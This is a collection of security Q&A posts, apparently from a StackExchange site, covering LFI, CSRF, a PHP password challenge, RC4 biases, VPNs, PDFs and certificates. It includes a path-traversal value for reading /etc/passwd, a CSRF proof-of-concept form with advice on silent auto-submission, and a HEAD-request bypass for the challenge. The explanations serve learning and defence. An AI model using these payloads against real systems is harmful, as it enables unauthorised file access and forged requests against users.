Apart from that domains were used differently at the time when these standards were made. The domain name system was actually designed to be used more hierarchical then it is used today. The idea was to use the domain name as the main entry point for an organisation, have sub-domains for organisational parts of the organisations like departments and have hostnames within the sub-domains and main domain to identify systems. Using just the main domain name as in example.com instead of www.example.com is a "relatively" new thing and  also multi-level sub-domains without having any organisational structure behind it. In this "old" world a design of having the wildcard matching only a single part made more sense than it seems to make today where it is often more important that a domain name looks fancy than that it reflects an actual organisational structure.


What is LFI vulnerability LFI: Local file inclusion.

After going through many tutorials I have two things I can/t figure out:

checking the vulnerability: I don't understand what makes a website vulnerable or not. For example, in the stackexchange network itself we can make changes in the url:

https://security.stackexchange.com/questions/ask <-- for asking a question.
https://security.stackexchange.com/tags     <-- tags

so I can go to any location in the site which means it is vulnerable to LFI, right?

Is this vulnerability specific to sites run on linux/unix? what if the site doesn't contain /etc/psswd  directory would it be vulnerable.(What if there is no such directoryin the site)

The idea of a Local File Inclusion issue is that you can use the web application to load up files on the filesystem that either shouldn't be available (e.g. things outside the web root) or files within the webroot that shouldn't be loaded up inside a page.

So for example

  http://example.com/file.php?file=main_page.php

in this application the file parameter is used to specify the page that the application should load up, in this case main_page.php.  If the attacker can change it to

  http://example.com/file.php?file=../../../etc/passwd

he can get access to that file from the system, which could be useful for him in attacking the system.  Alternatively he might be able to load a config file which contains application/database passwords.

In terms of vulnerability, any web application language/framework could suffer from this, but PHP does seem to be particularly prone to this and Remote File Inclusion issues.


State before getting whitelisted? There is a data flow of incoming files (from untrusted, external sources), that get whitelisted by a kind of application layer firewall.

Is there a common name for the state of the files before they get whitelisted? Can you provide some source like NIST?

Greylisting is used in the context of an antispam technique for emails. It somehow uses this terminology:

Whitelist: people who are allowed in, unconditionally.
Blacklist: people who are rejected, whatever they claim.
Greylist: the other people, who are temporarily rejected but will be whitelisted (i.e. allowed to enter) if they bother to come back later, thereby proving that they are not a low-grade one-shot spammer.


Drive By Download Without User Interaction? Are there any kind of drive by download attacks (in Java maybe) that does not require any user interaction? When you make a drive by download in Java in general a popup appears to ask some permission to the user (example of permission).

So is this attack exist without any user interaction process?

Yes, many client side exploits on browsers (Internet Explorer, for example) and some plugins like Flash (and even some old Java ones I believe) do not acquire user interaction.


Use Public Key or Password and PAM verification code So I've been reading more and more about how (relatively) easy it is to have your Ubuntu server compromised and suffice to say have become a tad paranoid by this fact.

I've setup Multi Factor Authentication using libpam-google-authenticator and a password.

What I'd like to be able to do is use both a password and a verification code OR an ssh key and a verification code. Preferably checking for an SSH key and if one is received then asking for a verification code, or if an SSH key is not present, asking for a password then a verification code.

I've been racking my brain reading over the following tutorials, but feel like I'm missing some fundamental knowledge to get the correct order.

https://sysconfig.org.uk/two-factor-authentication-with-ssh.html
https://unix.stackexchange.com/questions/145588/2-factor-authentication-in-ssh-using-public-key-and-pam
https://serverfault.com/questions/629883/trying-to-get-ssh-with-public-key-no-password-google-authenticator-working-o

As a side question, does anyone know the correct wording for what I'm trying to do? I gather that may be part of my problem while researching.

You can in fact combine ssh public key authentication with PAM authentication.
The ssh daemon will do the public key authentication (with you ssh key, which is no certificate, just key pairs!) and the password authentication or OTP/GA authentication is managed via PAM.

The trick is, to use this

AuthenticationMethods publickey,password

in your sshd_config.

I wrote a howto about this.
In this howto you can even manage your SSH keys and the OTP tokens with a central system privacyIDEA. (Disclaimer: My project)


F4 Algorithm for Steganography Jsteg algorithm is vulnerable to statistical attacks because it influences the DCT histogram of an image perceptibly since it equalizes the number of paris of coefficients. F3 algorithm, instead of replacing LSB's, decrements the coefficient's absolute values. However, some shirngkage occure in this case. Beacuse 0 coefficients does not change and some 1 or -1 change to 0. Hence there is no way for receiver to know whether a 0 hide a message or not. Therefore, the messages which are embedded to 0 must be embedded again. But then, the number of even coefficients will be more than odd's, while this is not applicable for the original histogram. Does F4 (or F5) algorithm solve this problem? If so, how?

I think I found the answer (at least as theoritical). According to the paper written by Andreas Westfield, F4 and F5 solve this problem by mapping even negative coefficients to a steganographic, odd negative coefficients to a steganographic zero. Through this map, not only embedding 0's cause to shrinkage but also embedding 1's. Thus the shape of histogram will be preserved.


Exploiting MD5 vulnerability in this PHP form? I've been practicing in security-related topics and I came upon this problem which I don't understand at all. You receive a form with one input named pass, and this is the code you need to bypass:

<?php
error_reporting(0);
session_save_path('/home/mawekl/sessions/');
session_start();
echo '<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>';
echo 'This task is as hard to beat as the castle which you can see on the bottom.
';
echo '
';
include('./ascii.txt');
echo '

';

$_SESSION['admin_level']=1;

if (!isset($_POST['pass']) || md5($_POST['pass'])!='castle')
{
    echo 'Wrong or empty password.
';
    $_SESSION['admin_level']=0;
}

If it enters the final if statement, you lose (Need to make it so $_SESSION['admin_level'] stays at 1).

Any help is appreciated, thanks!

Clarification:

I can't edit the code I posted. It's a challenge. All I can do is send a password through an input whose name is "pass". Yes, I know md5 is supposed to return a 32-char long string. That's the challenge.

Try sending a HEAD request.

I'm assuming that with ascii.txt included, the output of the script is just over a nice number like 4096 bytes, a common output_buffering value. Once the script has written output_buffering bytes, it needs to flush the output buffer before continuing.

Normally this works fine and the script continues, but if the request type is HEAD, there's nowhere for the output to go and execution stops, hopefully in the middle of the "wrong password" message which means admin_level is never set back to 0.

If ascii.txt is a file you can control, you'll have to tweak the size so the numbers work out to exceed output_buffering while writing the "wrong password" message.

Here's a paper on this technique. It might not always be applicable based on the PHP version/config, but the last example in the paper is so similar to this problem that I'd expect it to be the intended solution.


How to stop Forced browsing ? - Saving information from being compromised by url change I have a ASP.NET MVC 4 application.

In some webpages or views, I have information displayed in table. Column values are rendered as links.

Problems:
1. When I hover over the link, it's URL is visible at the bottom of browser.
2. When I click on link, I show information for the resource requested in URL. (www.someurl.com/Employee/67 gives me information of employee with id = 67). Now, this URL is displayed in browser. If you change URL to www.someurl.com/Employee/88, it shows information of employee with id = 88 though the logged in user is not supposed to see information for employee id 88

These are serious security breaches.

I am thinking of following as possible solutions:

URL masking at application level
Base64 encoding of URL to shorten and obfuscate it, so that users can't just throw values in the URL.
@Html.AntiForgeryToken() and ValidateAntiForgeryTokenValidation mechanism

Is there better and more secure approach other than above to solve this issue?

Regards,

Suraj

From the description you have mentioned it seems that you are talking about a security vulnerability which is popularly know as Insecure Direct Object Reference.

To mitigate this kind of issue, you should Check for the user whether he have access to particular resource or not. Base64 encoding the URL will not work in this.

I would to recommend you to go through this blog post: OWASP Top 10 for .NET developers part 4: Insecure direct object reference, which is written by Troy Hunt.

I hope this will help you to secure your apps.


CSRF over post request without redirection? Is there a way to forge post request without being redirected to the page where parameters are submitted.For example :

<html>
<head>
<title>
CRSF example
</title>
</head>
<body onload="">
<form action="http://www.somesite.org/action.php" method="POST">

    <input type="hidden" name="money" value="10000$"/>
    <input type="hidden" name="payment" value="Paypal"/>
    <input type="hidden" name="user" value="user1"/>
    <input type="submit" name="submit" value="Withdraw"/>

</form>
</body>
</html>

When user visits this page csrf is activated and values are sent and redirection happens.Can these valuse be sent without redirection.Thanks

Normally a post based CSRF exploit has a line of javascript: document.getElementById("csrf_form").submit() to submit the form without user interaction.  CSRF exploits (and many XSS exploits) are normally loaded within an invisible iframe so that the user has no idea that the browser made the request.


Maximally using available bandwidth to masking data transfer and mitigate VPN correlation attacks As of a week ago, I now find myself living in one of the more oppressively surveilled states in the world. I do not like this on ideological grounds. Therefore, I will acquire a vpn subscription for my family's traffic online, and will set up a default route for the building to the supplier (probably crpytostorm.is), via a dd-wrt router. Being an honest citizen who does nothing wrong online (and I assume the same for the rest of the house), my "threat model" is minimal, and therefore one might naïvely assume that this would be enough to prevent the Food Standards Agency from looking at my browsing history.

However, I recently read about how private -- or not -- vpns might be; correlation attacks are highly likely to be able to defeat such measures in an internet where essentially everything is logged.

Therefore, I'd like to ask this question: if one were to maximally use your available bandwidth continuously, constantly maintaining an encrypted tunnel to a VPN provider (who we assume now is a good faith actor), would that be sufficient to mitigate significantly against correlation attacks? It seems like that would be a "relatively" trivial (albeit annoying) task for a router to perform: estimate the current/near-term-future available bandwidth, send a large number of, e.g. TCP NOP packets at a rate designed to saturate the connection, and adjust their volume/frequency to not disrupt other data.

I have little doubt that my ISP wouldn't like me actually using the bandwidth I'd paid for, but beyond that, it seems like it would make it at the least marginally harder to perform correlation attacks on an encrypted tunnel. I imagine that the moderately beefy VPN server I'd connect to could silently drop the NOP packets (or equivalent) with a minimal performance hit.

Am I right? This seems like an obvious idea -- what is it usually called? Would this method work to mitigate against correlation attacks? Is there an open-source implementation in, e.g., dd-wrt to perform it?

if one were to maximally use your available bandwidth continuously, constantly maintaining an encrypted tunnel to a VPN provider (who we assume now is a good faith actor), would that be sufficient to mitigate significantly against correlation attacks?

It will be sufficient to get you kicked in short order by either the VPN provider or your Internet provider.

  I have little doubt that my ISP wouldn't like me actually using the bandwidth I'd paid for

You guessed it.

  I imagine that the moderately beefy VPN server I'd connect to could silently drop the NOP packets (or equivalent) with a minimal performance hit

But it will still affect their bandwidth bill.

  This seems like an obvious idea -- what is it usually called?

It is usually called a DoS attack.

  Is there an open-source implementation in, e.g., dd-wrt to perform it?

Don't try it, Anakin.


Using a usb to hide logs on computer? I have been wondering for a  while, since (for example on WindowsOS) logs are stored of user activity on the computer and can be retrieved later on by forensic experts easily. Can a user use an external hard drive or a USB storage device to install and run applications on it, which will not be technically stored on the computer's internal hard drive? Will the computer log the activity running on that external USB/HD?

The operating system of the computer (Windows, Linux, OS X, etc.) keeps its own logs of activity, and those logs are independent of the activity being performed.  So whether you run a program off a local hard drive or an external USB drive, the OS of that computer will still log it in the same log it always uses.  In Windows, these are kept in the Application Event log, and are visible to administrators of that machine.  (If you're interested, you can go into Control Panel / Administrative Tools / Event Viewer and see them for yourself.)

A good security practice for a system administrator is to immediately forward copies of security events from the computer's log to a central collection server for backup purposes.  That way, even if a hacker manages to get onto the machine and destroy the logs he or she finds there, the hacker won't be able to get to the copies that have already been stored elsewhere.  The forensic investigator will then have information to help trace what's happened.


Mediawiki/Nginx/Php on Ubuntu 14.04 is being attacked I had a personal wiki set up with mediawiki on my server with nginx.
Recently I noticed that all my sites that used php (Mediawiki and all Wordpress sites) were not responding or timing out.

Then I found a lot of requests in my /var/log/nginx/error.log like this :

request: "GET /index.php?title=Benutzer:MikeHofmann54 HTTP/1.1"

and posts :

 "POST /index.php?title=Special%3ARunJobs&tasks=jobs&maxjobs=1&sigexpiry=1484304501&signature=a39943b5794bdc95b3d874bad2273afadb6bbd01 HTTP/1.1", upstream: "fastcgi://unix:/var/run/php5-fpm.sock:"

I (re)moved the mediawiki but the requests keep trying to reach the domain.
The other sites started working and behaving normally again, but I am worried that the ongoing POST and GET requests could do something harmful to my server. Or are those 'normal' DDOS attacks?

I'm not sure how to proceed with protecting my server.

If you have a server on the public internet, it will be scanned and probed.  This is just a fact of life, and should inform the base of your security policy.

You are most likely going to primarily see three types of attacks:

Spammers will try to make comments on blogs, edit pages on wikis, and in general do anything they can to get links to their sites on yours.
People will run automated vulnerability scanners that try to exploit known vulnerabilities in outdated software and poor configurations.  Sometimes this is a first step towards more destructive spamming (take over your site completely), sometimes it's to make you part of a botnet, sometimes it's just for the amusement.
Sometimes you'll just get plain ol' HTTP requests.  These can be an attempt at a DoS attack, or a misconfigured bot, or a search engine spider, or someone archiving your site to read it offline, or an unexpected link to your site from reddit, or any number of other things.  Whether the intention is good or not, if you're not prepared, this can make your site inaccessible.

It's fairly easy to mitigate most of what you'll see in all three of these categories:

Keep your software up to date.
Don't use anything that says "For development use only!" in production.
Install an anti-spam plugin for your blog commenting system.
Add full-page caching and rate-limiting, either yourself (e.g. with Varnish) or through a service like Cloudflare.

You'll see plenty of requests that won't do anything to you, because it's easy to tell a script to just try everything, rather than trying to figure out what exactly you're vulnerable to.  For the most part, these can be ignored, but keep an eye on your site to make sure a spammer doesn't get in and wreak havoc for months before you notice.


payment details over https I have a web form on which my customer enters his credit card details along with other info. I then send this data to my backend server. I save the non-sensitive information to my database. I DO NOT store the cc details but pass them over https to a 3rd side.

Do I expose my customers to any risks? Should I worry about PCI?
What would be best practice to pass such details to a 3rd side?

As you're handling cardholder data, you're in scope for PCI and should be compliant.

Depending on the volume of cardholder data you're handling, you may be able to self-assess rather than require an on-site assessment by a QSA.

You should ensure you're receiving the card data over a secure HTTPS implementation i.e. using TLS v1.1 or TLS v1.2. You can test this on ssllabs.com

You should ensure the third party you're engaged with, and who is handling your customers cardholder data, is PCI compliant.

In terms of other risks, you should ensure the web interface/form presented to the client has been developed using secure software development lifecycle processes. Also, review the PCI DSS as there are plenty of requirements to implement and security processes to adhere to.


Certificate not trusted in Root CA Store - does it still enable secure connection? I'm a bit new with certificates and have been unable to find an answer on this.

We need to place controls around an application that is accessed via URL, we have moved the URL to citrix, but the certificate is not trusted so it shows the "not secure" icon.

I was asked to generate a CSR file so that we can add the certificate to our store, but it's not our web server.

So, my question is:

Even though our store does not trust the certificate, does it still enable secure communication?
Is there a way for us to import this certificate to our store to trust it?

Thank you!

CLARIFICATION:
I am familiar with generating CSR files and everything else that comes with it. Originally we thought this web server was ours, but it is not. It is owned by the company we send files to. Due to the nature of what gets sent there are security controls, such as ensuring data being sent is encrypted and was not tampered with. It leaves our side goes through a PI server then out to this web server. My question is, because this company self signed their cert and we cannot add it to our trusted domain does a secure connection still get established between browser-server?

My understanding is that you have been asked to generate a CSR for this server.

My advice would be to look at the documentation that came with the server / application; they often come with utilities / tools / instructions for generating CSRs.

Barring that, you can always generate a CSR manually. Google "how to generate a csr on ____" where you replace "_____" with the server stack that it is running, for example "how to generate a csr on iis 8" or "... nginx centos", or wtv.

Note that you will need direct access to the server to do this -- RDP (if Windows) or SSH (if linux). You say "but it's not our web server", which would definitely make things more complicated -- the point of a certificate is to prove ownership of the server, which is hard to do if it's not yours.

As for your actual questions, I don't really understand:

  Even though our store does not trust the certificate, does it still enable secure communication?

Probably not. I'm not sure what "our store" means, but the security of TLS comes from the fact that the client (usually a browser) trusts the CA that issued the cert.

You need to generate a CSR and get a certificate from a Certificate Authority that your clients will trust (ie a public CA if this is a public site, or a corporate CA if this is an internal site).

  Is there a way for us to import this certificate to our store to trust it?

Yes. How to do that will depend on what "our store" is.

Google "____ import certificate into trust store", where "_____" is the name of the application or OS that you are trying to import it into. Note that you usually import the root CA cert, not the server's cert.


What resources/organizations should we submit applications to for testing, to prevent Anti-Virus "False-Positives?" A friend's company just released an application recently, which received a false-positive warning with Norton AV from a client.

He found something on Norton's website that I believe he said was a form, and then he said that after submitting the form he was asked to download some application...??  He said he quickly left the page, but the issue of the false-positive is still there.

I had found a couple of sites that I think will help him, but not sure if they are complete solutions.

First is the Kaspersky Whitelist

http://whitelist.kaspersky.com/whitelist_program

Which mentions

  To reduce the risk of a Partner's software being wrongly classified as
  malicious - known as false positive detections;

  To ensure a positive experience for users when they download and use
  Partner's and Kaspersky Lab software;

  Verified compatibility with the actual configurations of antivirus protection offered by Kaspersky Lab; Reduced risk of false alarms generated by antivirus protection in the event of non-standard behavior of the Partner’s software;

The thing is... Does this work with just Kaspersky Applications, or do other Anti-Virus applications/Whitelists get this information?

Then I found "VirusTotal," which I've heard mentioned in the past on here (I think), but I didn't look into it to much.  Virus-Total mentions it scans applications with over "40 different Anti-Virus Applications," but I didn't see a mention of any "Whitelist," so I'm not sure this is a site for a whitelisting applications.

So my questions are.

Is there a recommended place for developers to upload their applications, for testing, so that the applications can be added to whitelists for most, if not all AV applications?
Was there anything to worry about by downloading that Norton program?  I'm assuming it would ask you to provide the application for testing inside the program, but it's weird to both of us that it would be downloaded to test, and not you uploading the application...  I know there are a lot of people who distrust Norton, so I figured I would ask how others feel about this weird situation hew as in.

Thanks.

Start off by scanning with VirusTotal (a Google-owned malware database), and see which AV software considers it a threat.

Proceed with contacting all the antivirus companies that flagged your software as a threat in order for them to whitelist your app. The Kaspersky page you mentioned has a registration form link, use it.

Here's Norton's page dedicated to the same purpose.

Keep searching for the relevant pages of each company on Google until you've covered them all.

Scan your app occasionally with VirusTotal to see if there was progress on your applications.

While tedious, it's the best way to my knowledge.


Is a Password secure if I change one letter? If I use a long password (64 characters), which is written on paper and its encrypted content never sees the internet (veracrypt volume), would a secondary volume with the same password, but one letter changed

a) compromise the password itself?

b) compromise the encrypted content?

Unless the attacker managed to get access to one password (which would obviously make it much easier to guess the other one), the answer is no.

Veracrypt will hash your password with the hash function you selected when creating the volume, and that function will make sure that a slight deviation in the input (your 64 character password), will have an unpredictable output. The result of that hash is what is used to encrypt the master key.


WAF testing frameworks How to test the effectiveness of a Web Application Firewall (WAF), or any other security control that is put in place to protect the web application from being attacked? Currently, what are the different security testing methodologies that can be applied to test Web Application Firewall? I was able to find a free WAF testing framework developed by Imperva, which generates traffic to test how legitimate and illegitimate traffic is handled by WAF for false positives. I think this technique is limited to traffic generator capability. Is this the only way to test WAF?

To properly test your appliance  and website I would get some pentesters involved and hand them over the rule set you are currently using. This will assist them in trying to create custom malicious payloads which would traverse the WAF for which you can then create additional rules.

I would also make them test the application which you are protecting without a WAF, as this will purely test the security of your application. (A WAF is not a miracle to protect a badly secured web application)

If you don't have a budget have  a look at Burp (not free) or ZAP and gather some custom payloads from the internet yourself to fuzz your application with.


Requesting an SSL certificate without a CSR, can it be done? Please excuse me if this is a dumb or obvious question, I'm self taught and have not been able to find an exact answer to my question after much Googling and reading through StacEx!
I'm having issues with the process of requesting/purchasing an SSL cert for a public website where the cert is not going to be used in a traditional VM/IIS environment which is what I have experience in managing.
Historically we have just generated the CSR from IIS, requested the cert from our preferred provided with the aforementioned CSR, loaded the Cert back into IIS and let the VM handle the SSL workload.
We're now moving to containerisation in Azure, and are using Azure Application gateway to handle SSL to offload the workload from the container.
My question is how do I generate a CSR for a cert that will only be used in a Firewall/SSL offload scenario, and there is no traditional OS to use to create the CSR?
Digicert (or preferred provider) have CSR creation tools, but they all indicate they should be installed on the intended destination server, which with containers is not technically feasible.
I have been able to successfully export existing SSL Certs off old VMs into AppGateway including Intermediaries just fine. Should I just do the same thing but with a local install of IIS? i.e. generate the CSR in a copy of IIS on my PC, complete the process there, then export the Cert/Private Key into AppGateway as I have done with the old VMs? Or is there a better way?
Thanks in advance for any advice/answers!

Normally CAs cannot issue certificate without your CSR. There are many tools to generate a key pair and a CSR. You can use any tool that you like.
If you use Windows, you may prefer GUI based tools. Then I would recommend to consider KeyStore Explorer: You generate a key pair, then generate a CSR and send it to your preferred CA.


Security risk of allowing ICMP "destination unreachable" packets on AWS If I configure an Amazon AWS VPC, should I explicitly allow ICMP "destination unreachable" packets inbound? I am wanting the VPC firewall to block everything by default, however does this mean this (potentially) breaks things for DSL traffic? Does the stateful firewall let these packets back in, whereas the ACLs used on VPC subnets, because it is stateless, does not?

I suppose my main question is why isn't this a default rule if it is safe? - Mark's current answer says ICMPTX is not a real threat on a network that you have control of.

In Thomas Pornin's answer on Security risk of PING he states:

  Some ICMP packet types MUST NOT be blocked, in particular the "destination unreachable" ICMP message, because blocking that one breaks path MTU discovery, symptoms being that DSL users (behind a PPPoE layer which restricts MTU to 1492 bytes) cannot access Web sites which block those packets (unless they use the Web proxy provided by their ISP).

How likely are the default rules to break things if blocking ICMP "destination unreachable"  as Thomas points out? Should time and effort be spent to explicitly allow these on each VPC and subnet firewall and ACL rule?

I found this interesting article on the topic:

  There are a few common causes for not being able to get the ICMP replies necessary for PMTUD [Path MTU Discovery] to work. Overzealous network administrators will configure their firewalls to drop all ICMP since certain ICMP messages are considered security threats. Routers are sometimes (mis) configured with PMTUD disabled and so will simply drop the packet without sending the required ICMP message.

If ICMP blocking is so common on AWS and other cloud and non cloud hosting providers, why do we not see more black hole problems? If it is not a widespread problem, and many people are on DSL using PPoE it seems sensible to leave it blocked as the default.

"ICMPTX" is a very, very minor risk in most real-world situations.  It's basically a way for two cooperating programs to sneak data past a firewall that's only looking for data exfiltration over traditional protocols (TCP, UDP, etc.).  Unless your AWS VPC is infested with malware and your firewall is inspecting packets for attempted data exfiltration, I wouldn't worry about it.


Is CVE-2013-2566 a practical attack against RC4 or still conceptual? Is CVE-2013-2566 a practical attack against RC4 or still conceptual and does it only apply to WPA/TKIP?

As Matthew Green puts it, the attack "is just on the edge of feasibility". It conceptually applies to any protocol that uses RC4, although some are more vulnerable than others.

The weakness of RC4 is a bias in the first bytes of output. From the key, RC4 generates a long stream of pseudorandom bytes, and encryption is just a byte-per-byte XOR of the data to encrypt with that stream. Thus, when the same data is encrypted multiple times (with a distinct key each time), the bias in RC4 output translates to a recovery of the secret data. For instance, suppose that the 17th byte of output has value 0x42 more often than the 255 other possible byte values (a fictional illustrative number). As the same message is repeatedly encrypted, its 17th byte (let's call it x) will be XORed with the 17th byte of RC4 output. The attacker, observing all the encrypted messages, may notice that the 17th byte of output is, say, more often 0x7C than any other value. The attacker will then infer that the observed value 0x7C corresponds to cases where the 17th byte of RC4 output is 0x42. He will then conclude that x XOR 0x42 = 0x7C, i.e. that x = 0x3E. The attacker just recovered one byte of plaintext.

The important point is that only the first bytes of RC4 output have biases which can be exploited in a "reasonable" time. The biases are still slight; it takes millions of observed encryptions, all with the same secret data, to reliably observe such biases.

In a Web setup (with HTTPS), the attack would look like this:

The victim's browser knows a cookie that unlocks a session on some site (let's call it www.example.com. The attacker wants that cookie.
The attacker controls the victim's network context. Realistically, the attacker runs a WiFi access point in a public place, and the victim connected to it, believing that AP to be provided by the restaurant or library he has decided to spend a few hours.
The attacker injects some hostile Javascript in the answer to an HTTP (not HTTPS) request from the browser to some site (not www.example.com). That Javascript will repeatedly trigger an HTTP GET call to https://www.example.com, e.g. by creating a hidden <img> tag in the Web page.
Each call triggered by the evil Javascript implies an SSL/TLS connection, with the cookie in it, at a predictable place. The attacker furthermore injects in the connection a RST packet just after the call, to force a connection close and thus a new connection with a new handshake and a new RC4 key each time.

Realistically, the attacker cannot really hope for more than, say, ten connections per second or so, so a million call will take more than a full day and night. Also, all these connections hit the target site (www.example.com), which may raise some alerts. If the attacker can pursue the attack at full speed for 30 hours or so, then he will be able to guess one or a few cookie bytes (the bytes which appear in the stream at a position where the RC4 biases are most important).

The conclusion is that the attack is, indeed, on the edge of feasibility: it can be demonstrated in lab conditions, but has not been spotted in the wild. Yet.

For WPA/TKIP, the same principles can be applied, but is more practical because in that protocol, each individual packet has its own RC4 stream, started anew with a packet-specific key. Collecting one million packets is sure easier than observing one million TCP connections with a TLS handshake. However, the weakness is in no way restricted to that single protocol; it is consubstantial to RC4 and will follow it into any protocol that uses RC4.

It may be noted that when SSH uses RC4, it usually does it under the name "arcfour128" or "arcfour256"; in both cases, this is RC4, but with the first 1536 bytes of output dropped. These are bytes with the biggest biases. Thus, these RC4 variants are quite stronger than the plain RC4 (known as "arcfour" in SSH terminology).

For new protocol designs, don't use RC4. If you really need to go beyond some "normal" AES/GCM, consider the stream ciphers from the eSTREAM portfolio: they are both safer and faster than RC4. But remember that protocol design is hard.


Relative paths in web applications I'm currently reading a security audit of a web application where they rank relative paths in a web application as a security risk.

e.g.:

Contact

I found several information on this topic regarding SEO. But I can't think of a scenario where this could be a security issue.

Relative URLs can be vulnerable to Relative Path Overwrite.

The main idea is that the client and the server will both parse the URL differently, so they might define the current directory differently.

For example, imagine you have a page located at /forum/index.php. Let's craft a simple URL which will be parsed differently by the client and the server: /forum/index.php/.

The server will see /forum/index.php, and / will parsed as the path info by an Apache webserver. It will define the current directory as /forum/
The client has no way to know that index.php is not a directory, so it will define the current directory as /forum/index.php/

This allows you to redirect the intended location of a link, or a source of a stylesheet / script, allowing you to escalate to more advanced attacks like XSS.


What are the qualities of a good cipher? I'm currently making my first cipher.  What are some qualities I should strive for?

A few I've heard/thought of so far:

Changing a single bit in the input should have a 50% average chance of changing each bit of output.
The locations of flipped bits should have no pattern
Each byte should have a 1/256 chance of not changing (basically #1 ^ 8)
The number of bytes found in similar by search should be very few (I need to write down the math, but my estimate is around 5%)

Am I on the right track?  What am I missing?

This is just a personal project for fun.

I think you missed to make it immune against differential crpytoanalysis. But that means that you first have to study what differential cryptoanalysis actually is, and that is probably a bigger project than implementing a "fun" cipher...


How to find a process that is sending HTTP HEAD requests When I was using fiddler for testing a web Client(capturing non-browser traffic only), it captured the below by coincidence. Is there any way that i can found out which process is doing this? I am on windows 7. I am concerned that this is a malware.

HEAD http://hmymtkwmm/ HTTP/1.1
Host: hmymtkwmm
Proxy-Connection: keep-alive
Content-Length: 0
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.75 Safari/537.36 Vivaldi/1.0.219.50
Accept-Encoding: gzip, deflate

with the response(not really)

HTTP/1.1 502 Fiddler - DNS Lookup Failed
Date: Fri, 02 Oct 2015 09:10:22 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
Cache-Control: no-cache, must-revalidate
Timestamp: 11:10:22.786

[Fiddler] DNS Lookup for "hmymtkwmm" failed. System.Net.Sockets.SocketException No such host is known

Try to use netstat -ano
It will list all connections to a TCP/UDP ports on your machine and also the PID.
Check with one will match your proxy TCP address.

Then use process explorer from sys internals to confirm what the process is doing and get more detailed information.


Is it safe to use the same password to encrypt copies of the same data stored in different places? Are there any risks of using the same password to encrypt the same data stored in multiple places?

To my understanding this doesn't add anything as the strength of protection would be equal to the weakest of the passwords anyway. I can assume that it might even make the job of an attacher easier if they retrieve multiple copies of the same data encrypted with different passwords.

Clarification: while the answers I've got are definitely useful they do not focus on my main question about use of the same password for copies of the same data but rather on storing data securely. I've edited the question and removed the examples to avoid confusion.

strength of protection would be equal to the weakest of the passwords anyway.

Generally yes, but also depends on attacker's ability to get a hold of the encrypted data.  If they cannot get a copy of the data, then you have already won.  If they get a copy (eg from a cloud service), but that copy uses a key / password / passphrase they do not have, then they may try to brute-force it.  In this specific case, you will hope it uses a strong key and good encryption algo.  They might instead just try and steal your password, which is usually easier.

Tips:

Take special care in how the data is encrypted / decrypted so as not to leak the password, etc. A hardware device / offline computer helps reduce the attack surface.
OpenPGP keys are MUCH stronger than a password, so use that instead if possible.
If PGP key is not an option, consider a long set of truly random words in the form of a passphrase. These are generally much stronger and easier to remember.
If there is no need to have weaker password for something, then just use the same, strong system for both copies of the data.


Do cellphones periodically send a "hello" msg to nearby WiFi APs? I recently stumbled on this site, offering cell phone detection solutions:
http://www.libelium.com/products/meshlium/smartphone-detection/

Where they state that:

  Users have to do nothing to be detected as the WiFi and Bluetooth radios integrated in their Smartphones (Mobile, Hand and Cell Phones) periodically send a "hellow!" message telling about their presence.

In addition, using this method they say, that they can record the mac adresses of nearby devices and a bunch of other information.

However I am suprised about this "hello" msg being periodically send by mobile phones.

What is its purpose and how does it work? Why would something like this be periodically sent to all WiFi networks? What is there to gain?

Is the detection device simply a WiFi router with added functionality to record these hello msgs or is there something more going on?

Regarding the "hello" message

This is actually the probe request. Every so often your phone (or laptop etc) will send a probe request to see if any of the access points that it already knows about are around. You can view this in a wireshark capture, and at this link. Control+Find for "Probe Request Frame". You will see that the client (the phone) sends this probe. Inside this probe is the mac address of the device, as well as the SSID (wifi access point name) that it is searching for.

Is the detection device simply a WiFi router with added functionality to record these hello msgs?

Essentially, yes. Any wireless card that can enter promiscuous mode can passively record these wireless probes. So not necessarily a router is needed.

If your wheels are turning and you think "well what if someone just answered 'yes' to all of those probes? Could they attack me?" Although somewhat less effective today, you can start your search on slide 29 here.


PDF Documents in Browser 2020 I have a project where I would like to allow a user to view a document (PDF) in their browser by clicking on a link or thumbnail of the file. They would be able to download said file. Ive just begun to research the vulnerabilities associated with PDF files but here is what I can gather so far:

PDFs can contain executable code that could create exploits or identify other exploits. PDFs are not unique in this regard.

To protect against any malicious PDF action occurring, browsers now open all PDF files in a sandbox. These sandboxes can be more secure than local viewers. Browsers that open PDF files in a sandbox:

Chrome : yes
Firefox : yes
Edge : ?
IE : ?
Safari : ?

I plan to store the PDF files on the file system outside of web root. The files meta data will be indexed inside a database.

Communication will be over SSL.

Questions:

Does opening a PDF file in a browser sandbox eliminate risks with displaying PDF in browser?
Are there more ideal file formats (from a security standpoint) to use over PDF for the use case described?
What types of server side validation could/should I perform when displaying a PDF document?

PDF in browsers

Assuming the browser makes things safe for you, you shouldn't have anything to do on your end (more or less). Unless you are yourself implementing a browser.

One thing I've seen, though, are processors that will remove scripts from such file formats (especially in MS-Word/Execl files). Then you know that at least they won't execute anything on the client's machine. Of course, as a result the file may not display as expected by the author.
other formats

On the Internet, I'd just use HTML. However, if your clients need printing your data, it's better to have a PDF file (as it is more likely to appear as expected on the printer).

Otherwise, pretty much all file formats may include a script. Maybe RTF is limited in that arena, but I've not checked that format in ages.
PDF validation

For sure, you should make sure that the file is a PDF file, if not so, it can be refused. For that test, make sure you use a mechanism similar to what the file command line does:

file <your-file>.pdf

Just checking that a file has a given extension (.pdf) would not help one bit.

The best technique is for the server to read the entire file. Maybe run it through a PDF parser which spits out the text in a .txt file. If that works, then you can assume the file is a PDF and not some other random format.


Is a VPN really required with free Wi-Fi on a train? Our local train service has added free Wi-Fi.

I have been checking GMail and logging into a few apps. Then logging into websites using HTTPS. Is this secure, especially if done via app?

The network is stored in my Wi-Fi list and automatically picks it up when I get on the train.

If you are not using a VPN, then every site you visit that sends or receives anything sensitive (especially passwords) should be HTTPS rather than just HTTP. The 's' in HTTPS stands for secure which is provided by TLS handshaking and encryption. In effect, when using TLS (i.e. HTTPS, which I refer to interchangeably here) you are effectively using a separate VPN for each site.

It might be worth adding a comment about why this is good practice. There are several concerns when using any public hotspot. The first is that some other Wi-Fi user has configured their device (laptop, phone, ...) to receive all the traffic being broadcasted from the nearby systems. This can also be prevented if the hotspot is properly configured to use encryption, but that is not wholly trustworthy since the older Wi-Fi encryption protocols are attackable.

